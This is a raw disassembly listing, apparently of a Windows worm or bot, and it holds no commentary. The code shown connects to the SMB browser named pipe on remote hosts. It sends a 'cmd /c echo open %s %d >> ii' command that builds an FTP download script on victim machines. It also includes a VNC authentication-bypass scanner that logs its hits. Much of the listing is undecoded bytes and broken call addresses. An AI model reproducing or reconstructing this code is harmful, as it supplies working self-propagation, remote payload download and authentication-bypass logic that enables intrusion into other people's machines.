		db 0B4h	; ´
		db 0DBh	; Û
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A7h	; §
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A5h	; ¥
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db    8
		db 0D8h	; Ø
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  43h	; C
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA14:				; CODE XREF: ___:0040DA0Dj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 27009BAh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: ___:0040DB30j
					; ___:0040DD06j ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: ___:0040DA4Fj
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432914
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432900
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: ___:0040DC01j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26608E3h
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: ___:0040DB25j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4328A8[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE37C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: ___:0040DB98j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328F7+1)


loc_40DBBF:				; CODE XREF: ___:0040DBAAj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43289C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4328A4[esi]
		push	7
		add	eax, edi
		push	offset dword_432890
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432730
		push	eax
		call	sub_41C310
		mov	eax, dword_4328A0[esi]
		add	esp, 30h
		cmp	byte_4328A8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB8
		push	4
		add	eax, edi
		push	offset dword_4CE374
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4328C0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: ___:0040DC69j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4328C0


loc_40DCC9:				; CODE XREF: ___:0040DCDEj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: ___:0040DCB6j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0B
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26608E3h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: ___:0040DCF4j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: ___:0040DD73j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+0Ch], eax


loc_40DD78:				; CODE XREF: ___:0040DD6Ej
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 26F0839h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE5:				; CODE XREF: ___:0040DE6Fj
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE7A
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE69
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DE50
		call	near ptr 2680867h
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: ___:0040DE3Dj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2690000h
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+0Bh], 1


loc_40DE69:				; CODE XREF: ___:0040DE1Cj
					; ___:0040DE63j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: ___:0040DE17j
		mov	esi, [ebp-8]


loc_40DE7A:				; CODE XREF: ___:0040DDE9j
					; ___:0040DE75j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE96
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE96:				; CODE XREF: ___:0040DE8Fj
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9C:				; CODE XREF: ___:0040DA53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D5h	; Õ
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Ah	; *
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  36h	; 6
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Dh	; ]
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  0Ch
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  90h	; 
		db 0B3h	; ³
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  37h	; 7
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  86h	; †
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Ah	; Š
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E6h	; æ
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 262EF1E8h, 83439002h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: ___:off_431B04o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB694
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329BC
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: ___:0040E27Bp
					; ___:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: ___:0040E2C7p
					; ___:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433C00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: ___:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB654
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: ___:0040E233j
		call	dword_4CB6EC
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: ___:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: ___:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset dword_4CB50C
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: ___:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431B08[eax]
		push	ebx
		lea	eax, dword_431B08[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: ___:0040E285j
					; ___:0040E2AAj ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46F:				; CODE XREF: ___:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: ___:0040E466j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: ___:0040E49Bj
					; ___:0040E4B7j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
